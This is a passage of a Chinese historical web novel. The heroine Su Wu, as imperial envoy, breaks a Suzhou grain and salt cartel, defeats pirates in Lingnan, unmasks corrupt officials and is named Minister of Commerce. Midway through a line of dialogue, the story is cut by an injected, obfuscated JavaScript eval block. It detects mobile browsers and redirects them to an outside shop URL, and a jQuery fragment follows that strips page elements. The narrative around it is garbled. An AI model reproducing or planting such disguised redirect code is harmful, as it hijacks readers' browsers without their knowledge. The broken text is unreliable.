朝堂之上,瞬间分成两派。一派是以江南士族、守旧官员为首,坚决反对女子为钦差,高呼“祖制不可破”;另一派则是以寒门官员、忠良之士为首,力挺苏芜,认为“能者居之,不问男女”。永熙帝坐在龙椅上,看着争论不休的群臣,面色沉凝,最终一拍龙椅,厉声喝道:“够了!朕意已决!苏芜持钦差关防,南下巡访,便宜行事。谁敢阻挠,以抗旨论处!” 旨意既下,无人再敢置喙。钱谦益等人虽心有不甘,却也只能俯首领旨,眼底却藏着深深的怨毒——他们清楚,苏芜南下,便是要动江南士族的根本利益,这场较量,关乎江南士族的兴衰存亡,他们绝不可能束手就擒。 苏芜接旨之时,正在惜春坊总坊,看着新一批学成的孤女,手持绣针,在锦缎上绣出“国泰民安”的纹样。接到圣旨,她没有半分惊喜,反而心头沉甸甸的——她知道,这道钦差关防,是权力,更是沉甸甸的责任。江南士族盘根错节,经营数百年,势力渗透到江南的每一个角落;岭南倭寇海盗,悍不畏死,且有海外势力暗中支持,这场南下之行,注定是一场硬仗。 青禾为她整理行装,将钦差关防、尚方宝剑小心翼翼地放入锦盒,眼眶微红:“苏芜姐姐,江南士族阴险狡诈,岭南倭寇凶残,此去路途遥远,危机四伏,你一定要保重。我已挑选了五十名惜春坊出身、身手最好的女子,组成‘芜锦卫’,随你南下,她们既能刺绣做账,又能防身杀敌,定能护你周全。” 王大则带着百名惠民商社的护卫,立于院中,皆是身经百战的汉子,手持长刀,腰悬弓箭,神情肃穆。“苏姑娘,属下已备好船只,粮草、兵器皆已备齐。江南各府的惠民商社分坛,已接到指令,随时待命,配合姑娘行事。” 赵老与周老丈也赶来,递上一个锦袋:“苏姑娘,这里面是江南、岭南的草药分布图,还有专治刀伤、箭伤、瘟疫的药膏,岭南湿热,易生瘟疫,姑娘务必带好。另外,我们已联络了岭南的药商,他们会暗中提供倭寇海盗的消息。” 苏芜看着眼前的众人,心中暖意融融。十年相伴,他们早已不是主仆,而是血脉相连的家人。她接过锦袋,郑重地点了点头:“诸位放心,我此去,定不负陛下所托,不负百姓所望,平定江南乱象,清剿岭南倭寇,让新政得以推行,让百姓得以安宁。” 三日后,苏芜的船队,从京城通州码头出发,沿运河南下。船队共二十艘大船,分作三列,中间的主船,悬挂着“钦差苏”的杏黄大旗,两侧的船只,分别载着芜锦卫、惠民商社护卫,以及粮草、兵器、药膏。一路之上,所经州县,地方官员皆出城迎接,寒门商贩与百姓更是夹道欢迎,高呼“苏钦差千岁”。苏芜则轻车简从,每到一处,必登岸查访,查看商税新政推行情况,慰问寒门商贩,查看惜春坊分坊的情况,遇有地方官员徇私枉法,当即以钦差身份,革职查办,雷厉风行的手段,让沿途官员皆噤若寒蝉。 船队行至苏州府,便停了下来。苏州乃江南首府,也是江南士族的核心腹地,钱谦益的老家便在苏州府常熟县,这里的米价、盐价乱象,也最为严重。 苏芜的船队刚靠岸,苏州知府李嵩,便带着苏州府的大小官员,以及江南的士族代表,立于码头迎接。李嵩是钱谦益的门生,典型的江南士族官员,面色白皙,身着绯色官服,见苏芜下船,连忙躬身行礼,语气却带着几分疏离:“下官苏州知府李嵩,率苏州府众官,恭迎苏钦差。” 其身侧的士族代表,皆是身着锦缎,头戴儒巾的老者,为首的是苏州陆氏家主陆敬之,乃江南文坛领袖,也是江南士族的核心人物。他看着苏芜,目光中带着几分轻蔑,拱手道:“久仰苏夫人盛名,今日得见,果然名不虚传。只是不知,苏夫人以女子之身,持钦差关防,代天巡狩,是否合乎祖制?” 苏芜淡淡瞥了他一眼,并未理会他的诘问,而是目光扫过码头周围的百姓。只见码头的角落,围了数十名衣衫褴褛的百姓,手中拿着空米袋,面色憔悴,眼神中带着绝望。苏芜心中一动,迈步走向那些百姓,青禾与芜锦卫的女子连忙跟上,护在她身侧。 “老人家,你们为何在此?”苏芜走到一位白发苍苍的老者面前,轻声问道。 老者见她身着钦差服饰,眼中闪过一丝希望,扑通一声跪在地上,哭着道:“苏钦差,您可要为我们做主啊!苏州的米价,从上个月的一石五百文,涨到了现在的一石两千文,盐价也翻了三倍!我们这些小百姓,根本买不起米,买不起盐,只能饿肚子啊!那些米行、盐行,都被陆老爷、钱老爷他们把持着,他们囤积居奇,抬高物价,还不许寒门商贩卖米卖盐,谁要是敢违抗,就会被他们的人打砸店铺,甚至抓起来!” 老者的话,引来了周围百姓的附和,数十名百姓纷纷跪地,哭喊道:“苏钦差,求您为我们做主!我们实在是活不下去了!” 苏芜的脸色,瞬间沉了下来。她早已知晓江南米盐乱象,却没想到,竟严重到如此地步。一石米两千文,相当于寻常百姓半年的收入,这般囤积居奇,无疑是将百姓逼上绝路。 她转身,看向李嵩与陆敬之,声音冷冽:“李知府,陆老爷,这位老人家所言,可是实情?” 李嵩脸色一白,连忙道:“苏钦差,这……这都是谣言!苏州的米盐价格,皆是市场调节,何来囤积居奇之说?这些百姓,定是受人蛊惑,胡言乱语。” “市场调节?”苏芜冷笑一声,“市场调节,能让米价一月之内翻四倍?李知府,你身为苏州知府,守土有责,百姓食不果腹,你却视而不见,反而为士族豪强辩解,你这个知府,是怎么当的?” 陆敬之则上前一步,面色倨傲:“苏钦差,饭可以乱吃,话不能乱说。我江南士族,世代书香,忠君爱国,怎会囤积居奇,压榨百姓?不过是些寒门商贩,恶意竞争,扰乱市场,我们不过是加以约束罢了。苏钦差若要查,便去查那些寒门商贩,莫要错怪了好人。” “约束?”苏芜目光如刀,落在陆敬之身上,“将米盐囤积起来,抬高物价,让百姓饿肚子,这也叫约束?陆老爷,你世代书香,可知‘民为邦本,本固邦宁’?你压榨百姓,便是动摇国本!今日,我便替陛下,替百姓,查一查你们江南士族的‘约束’!” 说罢,苏芜对着身后的王大喝道:“王大,传我命令,即刻封锁苏州府所有的米行、盐行,查封士族豪强的粮仓、盐仓,开仓放粮,平价售盐,救济百姓!芜锦卫配合,严查囤积居奇之人,敢有阻拦者,以尚方宝剑斩之!” “得令!”王大与芜锦卫统领林薇齐声应道,转身便带着人,朝着苏州府的米行、盐行而去。 李嵩与陆敬之脸色大变,陆敬之厉声喝道:“苏芜,你敢!我江南士族,岂容你放肆?” “放肆的是你们!”苏芜手持尚方宝剑,剑鞘直指陆敬之,“我持钦差关防,尚方宝剑,代天巡狩,便宜行事。你们囤积居奇,压榨百姓,阻挠新政,便是抗旨,便是谋逆!今日,我便先斩后奏,看谁敢阻拦!” 尚方宝剑的寒光,映得陆敬之脸色惨白。他知道,苏芜说得出做得到,十年前,她连魏忠贤都能扳倒,如今手持尚方宝剑,根本不惧他们江南士族。李嵩更是吓得浑身发抖,他不过是个知府,怎敢与钦差抗衡? 王大与林薇的行动,极为迅速。惠民商社的护卫,皆是身经百战,芜锦卫的女子,更是身手矫健,且熟悉苏州府的地形——这些女子,多是江南出身,被苏芜收养于惜春坊,对苏州的大街小巷了如指掌。 短短一个时辰,苏州府的数十家米行、盐行,尽数被封锁。士族豪强的粮仓、盐仓,也被一一找到,最大的一处粮仓,位于苏州城西的陆氏庄园,里面囤积了上万石粮食,足够苏州府百姓吃一年;最大的一处盐仓,位于城南的钱氏别院,囤积了数十万斤私盐,皆是江南士族借着权势,从盐场低价收购,囤积起来,高价售卖。 苏芜亲自坐镇陆氏庄园的粮仓,下令开仓放粮,以一石五百文的平价,售卖粮食给百姓。消息传出,苏州府的百姓,皆欢呼雀跃,从四面八方赶来,排起了长长的队伍。苏芜则站在粮仓门口,看着百姓们拿着米袋,脸上露出久违的笑容,心中稍安。 “苏钦差,您真是我们的活菩萨啊!”一位大娘,拿着刚买到的米,对着苏芜连连磕头。 “苏钦差,感谢您为我们做主,我们终于能吃上饱饭了!” 百姓们的感激之声,不绝于耳。苏芜扶起那位大娘,轻声道:“大娘,不必如此。我乃朝廷钦差,为民请命,是我的本分。” 就在此时,一名芜锦卫女子,匆匆跑来,对着苏芜道:“苏钦差,不好了!李知府带着苏州府的衙役,还有陆氏、钱氏的私兵,围了粮仓,说我们私闯民宅,抢夺财物,要将我们抓起来!” 苏芜的脸色,再次沉了下来。李嵩与江南士族,终究还是忍不住,要动手了。 她转身,朝着粮仓门口走去。只见粮仓外,李嵩身着官服,手持令牌,身后跟着数百名衙役,以及上千名身着锦袍、手持刀剑的私兵,为首的正是陆敬之与钱谦益的侄子钱明远。 “苏芜,你好大的胆子!”李嵩厉声喝道,“陆氏庄园,乃是私人宅邸,你竟敢带着人,私闯民宅,查封粮仓,抢夺粮食,你可知罪?” 钱明远则手持长刀,面目狰狞:“苏芜,你一个女子,也敢在江南撒野?今日,我便让你知道,江南是谁的天下!” 说罢,钱明远挥手,上千名私兵,便朝着粮仓冲了过来。衙役们则站在一旁,虎视眈眈,却不敢上前——他们知道,苏芜手持尚方宝剑,是钦差,他们若动手,便是抗旨。 王大与林薇,立刻带着护卫与芜锦卫,迎了上去。双方瞬间交战,刀光剑影,喊杀声震天。惠民商社的护卫,皆是寒门出身,为了保护百姓,为了推行新政,个个奋勇当先;芜锦卫的女子,更是身手不凡,她们多是孤女,被苏芜收养,教她们防身之术,今日,为了守护苏芜,为了守护百姓,她们更是以命相搏。 苏芜立于粮仓门口,手持尚方宝剑,目光冷冽地看着李嵩与陆敬之:“李知府,陆老爷,你们纵容私兵,对抗钦差,阻挠新政,压榨百姓,罪证确凿!今日,我便以尚方宝剑,先斩后奏,治你们的罪!” 说罢,苏芜纵身跃起,手持尚方宝剑,朝着李嵩与陆敬之飞去。她虽为女子,却跟着温庭远请来的武师,学了多年的剑术,虽不擅长冲锋陷阵,却精通剑术招式,身法灵动。 李嵩与陆敬之,皆是文弱书生,哪里见过这般阵势?见苏芜持剑飞来,吓得魂飞魄散,转身便想跑。 苏芜身形一闪,便挡在了他们面前,尚方宝剑的剑鞘,轻轻一点,便点中了李嵩的穴位。李嵩瞬间动弹不得,瘫倒在地。陆敬之则被芜锦卫的一名女子,一脚绊倒,按在地上。 钱明远见李嵩与陆敬之被擒,心中一慌,想要突围,却被王大一刀架在了脖子上。“钱明远,你还想跑?” 短短半个时辰,交战便结束了。上千名私兵,死伤过半,其余的皆跪地投降。李嵩、陆敬之、钱明远,皆被擒获。 苏芜走到李嵩面前,声音冷冽:“李嵩,你身为苏州知府,食君之禄,却不忠君之事,反而勾结士族,压榨百姓,阻挠新政,你可知错?” 李嵩瘫在地上,面如土色,哭着道:“苏钦差,我错了,我是一时糊涂,被钱谦益尚书蛊惑,求苏钦差饶我一命!” “糊涂?”苏芜冷笑,“百姓食不果腹,流离失所,你却助纣为虐,这不是糊涂,是丧尽天良!” 说罢,苏芜看向陆敬之:“陆敬之,你江南士族领袖,世代书香,却不知爱民如子,反而囤积居奇,牟取暴利,动摇国本,你可知罪?” 陆敬之依旧面色倨傲:“苏芜,你休得猖狂!我江南士族,盘根错节,你今日擒了我,明日,钱谦益尚书便会在朝堂之上参你一本,让你身败名裂!” “身败名裂?”苏芜淡淡道,“我苏芜,从乡野孤女走来,历经无数风雨,早已将生死置之度外。我所做之事,皆是为了百姓,为了朝廷,纵使身败名裂,我也无怨无悔!” 随即,苏芜对着身边的护卫道:“将李嵩、陆敬之、钱明远,打入囚车,暂押苏州府大牢。其余投降的私兵,皆放回家中,既往不咎。查抄陆氏、钱氏在苏州府的所有家产,充公济民。” “得令!” 处理完苏州府的乱象,苏芜并未停歇。她以钦差身份,任命苏州府通判——一位寒门出身、清正廉明的官员,暂代苏州知府之职,负责苏州府的日常事务。又下令,将查抄的陆氏、钱氏家产,一部分用于救济百姓,一部分用于补贴寒门商贩,帮助他们重建店铺。 随后,苏芜又接连走访江南的常州、杭州、扬州等府,皆是雷厉风行,查封士族豪强的粮仓、盐仓,开仓放粮,平价售盐,革职查办徇私枉法的官员,扶持寒门商贩,推行商税新政。江南士族,虽百般阻挠,却因苏芜手握尚方宝剑,深得百姓与寒门商贩拥戴,且有惠民商社的庞大网络支持,最终,皆以失败告终。 历时一个月,江南的米盐乱象,被彻底平定。商税新政,得以顺利推行。寒门商贩,重获生机。百姓们,得以安居乐业。江南士族,虽依旧势力庞大,却也收敛了许多,不敢再明目张胆地阻挠新政,压榨百姓。 苏芜在江南的所作所为,被快马传至京城。永熙帝看后,龙颜大悦,下旨嘉奖苏芜,称其“巾帼不让须眉,功在社稷,利在民生”。朝堂之上,寒门官员纷纷进言,称赞苏芜的功绩,而钱谦益等江南士族官员,则缄口不言,心中却对苏芜恨之入骨。 平定江南乱象后,苏芜的船队,便沿着运河,南下至杭州府,再从杭州府出海,前往岭南。 岭南的局势,比江南更为复杂。倭寇与海盗,勾结在一起,以琉球、日本为据点,袭扰岭南沿海的广州、泉州、漳州等州县,劫掠商船,焚烧村庄,杀害百姓,致使沿海百姓流离失所,海上贸易几近停滞。更严重的是,岭南的一些地方官员,为了自保,竟与倭寇海盗勾结,暗中提供粮草、情报,换取自身的平安。 苏芜的船队,刚驶入岭南海域,便遭遇了倭寇的袭击。 那日,海面风平浪静,阳光明媚。苏芜正立于主船的甲板上,查看岭南的海图,突然,瞭望哨的护卫,高声喊道:“苏钦差,不好了!东南方向,出现了十几艘倭寇战船!” 苏芜心中一凛,立刻走到船头,朝着东南方向望去。只见十几艘挂着“倭”字旗帜的战船,正朝着她们的船队,疾驰而来。战船上,站满了手持长刀、弓箭的倭寇,个个面目狰狞,杀气腾腾。 “准备迎战!”苏芜厉声喝道。 王大与林薇,立刻下令,船队的二十艘大船,迅速排成防御阵型。主船居中,两侧的战船,分列左右,船上的护卫,纷纷拿起弓箭、火铳,严阵以待。芜锦卫的女子,则负责搬运弹药,救治伤员。 倭寇的战船,速度极快,转瞬之间,便冲到了苏芜的船队面前。为首的一艘战船上,站着一个身着武士服的倭寇首领,手持武士刀,高声喊道:“船上的人听着,速速交出财物,否则,格杀勿论!” 苏芜看着那倭寇首领,眼底闪过一丝冷意。她认出,此人乃是倭寇的大头目,名叫松本一郎,手下有数千名倭寇,盘踞在琉球,多次袭扰岭南沿海,朝廷派去的水师,多次围剿,皆因他熟悉海域,且有海盗接应,而无功而返。 “松本一郎,你屡犯我大靖疆土,劫掠我大靖百姓,今日,我便让你血债血偿!”苏芜厉声喝道。 说罢,苏芜挥手,船队上的火铳,便齐齐开火。“砰!砰!砰!”枪声震天,铅弹如雨点般,朝着倭寇的战船射去。 倭寇们从未见过如此密集的火铳攻击,瞬间死伤惨重。松本一郎见状,大怒,挥舞着武士刀,高声喊道:“进攻!杀了他们!” 倭寇们纷纷拿起弓箭,朝着苏芜的船队射来,随后,驾驶着战船,朝着苏芜的船队撞来。 双方瞬间展开了激烈的海战。刀光剑影,枪声震天,战船碰撞的声音,士兵的喊杀声,伤者的惨叫声,交织在一起。苏芜的船队,虽人数少于倭寇,却装备精良——苏芜早已料到岭南倭寇猖獗,特意让惠民商社的工匠,打造了数十门小型火炮,安装在战船上,又配备了大量的火铳,威力远胜倭寇的弓箭、武士刀。 苏芜立于主船的甲板上,冷静地指挥着战斗。她根据海图,判断风向、水流,下令船队调整阵型,利用火炮,攻击倭寇战船的薄弱之处。林薇则带着芜锦卫的女子,登上倭寇的战船,与倭寇展开近身搏斗。这些女子,虽为女子,却个个勇猛,手中的长刀,挥舞得虎虎生风,倭寇们被她们杀得节节败退。 王大则带着护卫,驾驶着几艘小型战船,绕到倭寇战船的后方,偷袭倭寇的粮草船。倭寇的粮草船,被点燃,火光冲天,倭寇们见粮草被烧,军心大乱。 松本一郎见大势已去,想要驾驶战船,突围而逃。苏芜早已料到他会如此,下令主船的火炮,瞄准松本一郎的战船。“开炮!” “轰!”一声巨响,火炮的炮弹,精准地击中了松本一郎的战船。战船的船身,瞬间被炸出一个大洞,海水汹涌而入。松本一郎见状,想要跳海逃生,却被王大一箭射中肩膀,摔在甲板上。 最终,这场海战,以苏芜的船队大获全胜而告终。十几艘倭寇战船,被击沉五艘,俘获八艘,其余的皆狼狈逃窜。倭寇大头目松本一郎,被生擒活捉。倭寇死伤上千人,而苏芜的船队,仅伤亡百余人。 苏芜的船队,顺利驶入广州府的码头。广州知府陈敬,带着岭南的官员,以及沿海的百姓,早已立于码头,等候苏芜。陈敬是寒门出身,为官清正,多次组织百姓,抵抗倭寇,却因手中无兵无权,且有地方官员掣肘,而收效甚微。 见苏芜的船队归来,还生擒了松本一郎,陈敬激动得热泪盈眶,跪地行礼:“苏钦差,您可来了!岭南百姓,盼您如盼甘霖啊!” 沿海的百姓,也纷纷跪地,哭喊道:“苏钦差,求您为我们做主,剿灭倭寇,让我们能安稳度日!” 苏芜扶起陈敬,轻声道:“陈知府,不必多礼。剿灭倭寇,安抚百姓,是我分内之事。” 随后,苏芜在广州府,设立了“岭南海防署”,任命陈敬为海防署主事,负责岭南的海防事务。又从惠民商社的护卫,以及芜锦卫的女子中,挑选出两千名身手矫健、熟悉水性的人,组成“岭南水师”,由王大担任水师统领,林薇担任副统领,负责清剿倭寇海盗。 苏芜深知,倭寇海盗,之所以屡剿不灭,除了熟悉海域、有海外势力支持外,更重要的是,岭南的一些地方官员,与他们勾结。于是,她一面派岭南水师,清剿倭寇海盗的据点,一面派芜锦卫的女子,暗中调查与倭寇海盗勾结的官员。 芜锦卫的女子,皆是女子,不易引起怀疑,且心思细腻,善于察言观色。短短十日,她们便查清了,与倭寇海盗勾结的,竟是岭南按察使周显,以及泉州、漳州的两名知府。周显为了牟取暴利,暗中为倭寇海盗提供粮草、情报,甚至放任倭寇海盗,袭扰沿海百姓,换取倭寇海盗的贿赂。 苏芜得知消息后,当即决定,将计就计,抓捕周显等人。 她先是让陈敬,以“商议海防事务”为由,将周显,以及泉州、漳州的两名知府,请到广州府的海防署。周显等人,以为苏芜只是个女子,不懂海防事务,想要借机拉拢苏芜,或是设计陷害苏芜,便欣然前往。 待周显等人,进入海防署后,苏芜便下令,关闭海防署的大门,将他们团团包围。 “苏钦差,你这是何意?”周显见势不妙,脸色一变,厉声问道。 苏芜拿出芜锦卫查到的证据,扔在周显面前:“周显,你勾结倭寇海 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239935|197681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盗,提供粮草、情报,放任倭寇袭扰百姓,牟取暴利,罪证确凿,你还有何话可说?” 周显看着地上的证据,脸色惨白,却依旧强装镇定:“苏芜,你血口喷人!这些证据,皆是你伪造的!” “伪造?”苏芜冷笑,“松本一郎已被我生擒,他已供出,与你勾结的经过。还有,你的管家,也已被我抓获,他也供认不讳。周显,事到如今,你还想狡辩?” 说罢,苏芜让人,将松本一郎,以及周显的管家,带了上来。松本一郎被打得遍体鳞伤,跪在地上,对着苏芜道:“苏钦差,我招,我全都招!我与周显大人,勾结了三年,他为我提供粮草、情报,我为他送去金银珠宝,泉州、漳州的知府,也参与其中!” 周显的管家,也哭着道:“老爷,我错了,我不该帮你收倭寇的贿赂,不该帮你传递情报,求苏钦差饶我一命!” 证据确凿,周显等人,再也无法狡辩,瘫倒在地,面如土色。 苏芜当即下令,将周显,以及泉州、漳州的两名知府,打入囚车,暂押广州府大牢。又下令,查抄他们的家产,充公济民,用于安抚沿海百姓,重建被倭寇焚烧的村庄。 解决了内奸,岭南水师的清剿行动,便顺利了许多。王大与林薇,带着岭南水师,先后清剿了倭寇海盗在琉球、日本的多个据点,斩杀倭寇海盗上千人,俘获数千人,解救了数百名被倭寇海盗掳走的百姓。 历时两个月,岭南的倭寇海盗,被彻底剿灭。海上贸易,逐渐恢复。沿海的百姓,也得以重返家园,重建村庄。苏芜又下令,在岭南沿海,修建海防炮台,组建常备水师,以防倭寇海盗再次袭扰。又让惠民商社,在岭南开设分坛,扶持沿海的渔民,发展海上贸易,让百姓们,能靠着捕鱼、经商,安居乐业。 岭南的局势,彻底平定。消息传至京城,永熙帝大喜过望,再次下旨,嘉奖苏芜,称其“平定江南,清剿岭南,功绩卓著,远超朝堂诸公”。 此时,朝堂之上,再次掀起了轩然大波。这一次,不再是反对苏芜,而是纷纷进言,请求永熙帝,授予苏芜正式的官衔。 先是温庭远,在金銮殿上,率先进言:“陛下,苏芜以一品诰命夫人的身份,持钦差关防,南下巡访,平定江南米盐乱象,清剿岭南倭寇海盗,推行商税新政,安抚沿海百姓,功绩卓著,利在社稷,福泽万民。其才其能,远超朝堂诸公。如今,江南、岭南虽已平定,但全国的商税、盐运、海防,仍需专人督办。苏芜熟悉商业脉络,深得民心,且手段卓绝,若授予其正式官衔,让其执掌相关事务,定能为朝廷,为百姓,再立奇功!” 紧接着,数十名寒门官员,纷纷出列,跪地进言:“陛下,温首辅所言极是!苏芜巾帼不让须眉,功绩赫赫,当授予正式官衔,入朝理政!” 钱谦益等江南士族官员,虽心有不甘,却也无法反驳——苏芜的功绩,摆在眼前,江南、岭南的百姓,对苏芜感恩戴德,若他们再反对,便是与百姓为敌,与朝廷为敌。最终,钱谦益也只能出列,拱手道:“陛下,苏芜功绩卓著,确当授予官衔。” 永熙帝坐在龙椅上,看着群臣,脸上露出了欣慰的笑容。他早已有意,授予苏芜正式的官衔,让其入朝理政。一来,苏芜确有大才,能为他分忧;二来,授予女子官衔,入朝理政,也能打破祖制,彰显他的开明,更能打击那些守旧的士族官员。 “诸卿所言,甚合朕意。”永熙帝沉声道,“苏芜功绩卓著,才德兼备,朕今日,便下旨,授予苏芜‘商部尚书’之职,加太子少保,仍领一品诰命夫人,执掌全国商税、盐运、海防贸易事务,入朝理政,参与军机要务!” 商部尚书,乃六部尚书之一,正二品官衔,加太子少保,为从一品。这道旨意,意味着苏芜,成为了大靖王朝,乃至华夏历史上,第一位女子六部尚书,真正地从诰命夫人,走进了朝堂,拥有了属于自己的,正经的官衔。 旨意下达,全国震动。百姓们欢呼雀跃,称赞永熙帝圣明,称赞苏芜为“巾帼尚书”。寒门子弟与女子,更是备受鼓舞,纷纷表示,要以苏芜为榜样,努力学习,建功立业。 此时的苏芜,刚从岭南返回苏州府,正准备带着船队,返回京城。接到永熙帝的圣旨时,她正立于苏州府的惜春坊分坊,看着孤女们,绣出“巾帼尚书”的纹样。 传旨的太监,手持明黄色的圣旨,高声宣读:“奉天承运,皇帝诏曰:苏芜持节南巡,平定江南乱象,清剿岭南倭寇,推行新政,安抚万民,功绩卓著,德被四方。朕嘉其才,念其功,特授苏芜为商部尚书,加太子少保,仍领一品诰命夫人,执掌全国商税、盐运、海防贸易事务,入朝理政,参与军机要务。望其恪尽职守,忠君爱国,为民请命,再创佳绩。钦此!” 苏芜接过圣旨,双膝跪地,俯首行礼,声音清亮,带着几分激动,几分坚定:“臣苏芜,接旨!谢陛下隆恩!臣定当恪尽职守,忠君爱国,为民请命,不负陛下所托,不负百姓所望!” 这一拜,拜的是永熙帝的知遇之恩,拜的是十年的风雨兼程,拜的是无数百姓的期盼,更是拜的,她自己数十年的努力与坚守。 从苏家村的孤女,到锦绣阁的杂役;从执掌锦绣阁的绣娘,到一品诰命夫人;如今,又成为了大靖王朝的商部尚书,太子少保。她走过的路,布满荆棘,历经风雨,却始终坚守本心,从未放弃。 传旨的太监,笑着道:“苏尚书,恭喜您!陛下与温首辅,在京城,正等着您归来,共商国是呢!” 苏芜起身,对着太监拱手道:“有劳公公千里传旨。烦请公公先行回京,告知陛下,臣整顿完江南、岭南的后续事务,便即刻回京,入朝理政。” “苏尚书客气了。”太监笑道,“那咱家,便先行回京复命了。” 太监走后,惜春坊的孤女们,纷纷围了上来,欢呼道:“苏尚书!苏尚书!” 青禾、王大、赵老、周老丈,以及陈敬、林薇等人,也纷纷上前,对着苏芜拱手道:“恭喜苏尚书!贺喜苏尚书!” 苏芜看着眼前的众人,看着她们眼中的喜悦与敬佩,心中暖意融融。她知道,这份荣耀,不属于她一个人,属于所有支持她、陪伴她的人,属于所有寒门百姓,属于所有被她收养的孤女。 “诸位,同喜。”苏芜笑着道,“这份荣耀,是我们所有人,一起拼来的。” 接下来的十日,苏芜整顿了江南、岭南的后续事务。在江南,她任命了新的苏州知府,完善了商税新政的推行细则,让惠民商社的分坛,继续扶持寒门商贩;在岭南,她完善了海防署的制度,让岭南水师,继续驻守沿海,防范倭寇海盗,又让惠民商社,大力发展海上贸易,让岭南的百姓,能靠着经商,过上好日子。 十日之后,苏芜的船队,从苏州府码头出发,朝着京城,缓缓驶去。 船队行至运河之上,沿途州县,百姓们夹道欢迎,高呼“苏尚书千岁”。苏芜立于主船的甲板上,看着两岸欢呼的百姓,看着运河之上千帆竞渡的繁华景象,看着田野里百姓们辛勤劳作的身影,心中满是感慨。 十年前,她初到京城,身无分文,只能在锦绣阁,做一个浆洗绸缎的杂役。那时的她,只想活下去,只想摆脱苏家村的苦难。 十年后,她成为了大靖王朝的商部尚书,太子少保,执掌全国的商业事务,走进了朝堂,影响着朝局民生。她不仅活了下来,还活成了自己的光,活成了无数人的光。 她知道,成为商部尚书,不是结束,而是新的开始。全国的商税、盐运、海防贸易,依旧有许多问题,需要她去解决;朝堂之上,虽已清明,却仍有守旧势力,需要她去抗衡;寒门子弟与女子的地位,虽已提升,却仍有许多不公,需要她去改变。 前路依旧漫长,依旧布满荆棘,但苏芜,早已无所畏惧。 她有温庭远的指点,有青禾、王大等人的陪伴,有惠民商社、惜春坊的支持,有全国百姓的拥戴,更有自己十年磨一剑的坚韧与智慧。 船队驶入京城通州码头时,已是暮春。京城的百姓,早已挤满了码头,从通州码头,到皇宫的朱雀门,沿途的街道,皆被百姓们围得水泄不通。 “苏尚书回来了!” “看,那就是苏尚书!我们的巾帼尚书!” “苏尚书千岁千岁千千岁!” 百姓们的欢呼之声,响彻京城的天空。 苏芜身着二品绯色官服,头戴梁冠,腰系玉带,手持象牙笏板,从主船上走了下来。她身姿挺拔,眉眼沉稳,一身官服,更衬得她气度不凡。 温庭远率领着满朝文武,立于码头,迎接苏芜。见苏芜走来,温庭远脸上露出了欣慰的笑容,率先拱手道:“苏尚书,欢迎归来。” 满朝文武,无论是寒门官员,还是士族官员,皆对着苏芜,拱手行礼,齐声喊道:“苏尚书,欢迎归来!” 苏芜对着温庭远,以及满朝文武,拱手还礼,声音清亮:“苏芜,幸不辱命,平定江南、岭南乱象,今日归来,愿与诸公,共辅陛下,共创大靖盛世!” 随后,苏芜在温庭远的陪同下,朝着皇宫走去。沿途的百姓,纷纷跪地,向苏芜行礼。苏芜则不时停下脚步,对着百姓们颔首微笑,心中满是坚定。 皇宫的金銮殿上,永熙帝端坐于龙椅之上,看着苏芜,身着官服,缓步走入大殿,眼中满是赞赏。 苏芜走到大殿中央,手持象牙笏板,双膝跪地,俯首行礼:“臣商部尚书苏芜,参见陛下,吾皇万岁万岁万万岁!幸不辱命,平定江南、岭南乱象,特来复命!” “苏爱卿,平身!”永熙帝笑着道,“苏爱卿此行,功绩卓著,为朕分忧,为百姓解难,朕心甚慰。从今往后,商部事务,便全靠苏爱卿执掌了。” “臣定当恪尽职守,不负陛下所托!”苏芜起身,手持象牙笏板,立于百官之列。 她的位置,在六部尚书之列,仅次于吏部尚书,位列第二。这是永熙帝的特意安排,也是对她功绩的最大肯定。 金銮殿上,苏芜身着绯色官服,立于百官之中,眉眼沉稳,目光坚定。她看着龙椅上的永熙帝,看着身旁的温庭远,看着满朝文武,心中清楚,她的人生,迎来了新的篇章。 从诰命夫人,到商部尚书,她终于真正地,走进了朝堂,拥有了属于自己的官衔,拥有了为百姓、为女子,发声的权力。 她将用这份权力,继续推行商税新政,扶持寒门商贩,发展全国商业;她将用这份权力,整顿盐运、海防贸易,让百姓安居乐业,让大靖的商业,走向世界;她将用这份权力,为寒门子弟,为女子,争取更多的机会,让他们能靠着自己的努力,建功立业,活得有尊严、有底气。 退朝之后,苏芜走出金銮殿,立于皇宫的朱雀门前,看着京城的万家灯火,看着街头往来的百姓,看着天边的晚霞,眼底满是平静与坚定。 青禾走到她身边,与她并肩而立,轻声道:“苏芜姐姐,不,苏尚书,你终于做到了。” 苏芜笑了笑,转头看向青禾,眼底满是暖意:“是我们,一起做到了。” 夕阳西下,晚霞映红了京城的天空,也映红了苏芜的官服。她的身影,立于朱雀门前,挺拔而坚定,如一株迎着晚霞生长的翠竹,又如一朵盛开在朝堂之上的牡丹。 9. 尚书秉政·西北安澜 永熙十三年,秋。 大靖的金銮殿上,龙涎香袅袅,鎏金铜鹤里的沉香燃得正旺,烟气绕着殿顶的盘龙藻井缓缓升腾,落在丹陛之下的百官朝服上,染了一身清贵。苏芜身着绯色织金商部尚书朝服,头戴七梁冠,腰系玉带,手持象牙笏板,立于六部尚书之列,位次仅次于吏部尚书。她身姿挺拔,眉眼间褪去了初入朝堂的淡然,添了几分执掌部务的沉稳果决,垂眸时,长长的睫毛在眼下投出浅浅的阴影,遮住了眼底的锋芒,唯有抬手奏事时,腕间的玉扣轻响,一言一行,皆合朝堂仪轨,竟让满朝文武忘了,这位商部尚书,曾是乡野走出的孤女,曾是锦绣阁里的杂役。 